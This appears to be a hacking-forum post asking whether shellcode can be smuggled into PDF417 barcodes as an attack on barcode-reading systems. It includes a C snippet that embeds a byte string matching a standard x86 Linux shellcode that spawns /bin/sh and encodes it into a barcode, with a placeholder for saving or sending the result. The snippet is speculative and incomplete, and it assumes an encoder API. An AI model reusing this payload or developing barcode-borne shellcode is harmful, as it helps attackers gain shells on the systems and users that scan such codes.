Would appreciate your guys input about the practical applicability of novel 2d symbology incorporation concepts. Most of the ideas I've read about are simple QR social engineering attacks, but- assuming image sensor reading incompatibility isn't a non-starter, can we embed shellcode payloads to PDF417? Or would machine instructions simply not comply with base 929?
Tolerance for my nescience is graciously appreciated =)))
Код:
#include <stdio.h>
#include <string.h>
#include <pdf417.h>
int main(int argc, char *argv[]) {
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int shellcode_len = strlen(shellcode);
char * encoded_shellcode;
int encoded_len;
// Encode shellcode into PDF417 symbology
pdf417_encode(shellcode, shellcode_len, &encoded_shellcode, &encoded_len);
// ... code to save or transmit encoded shellcode here ...
free(encoded_shellcode);
}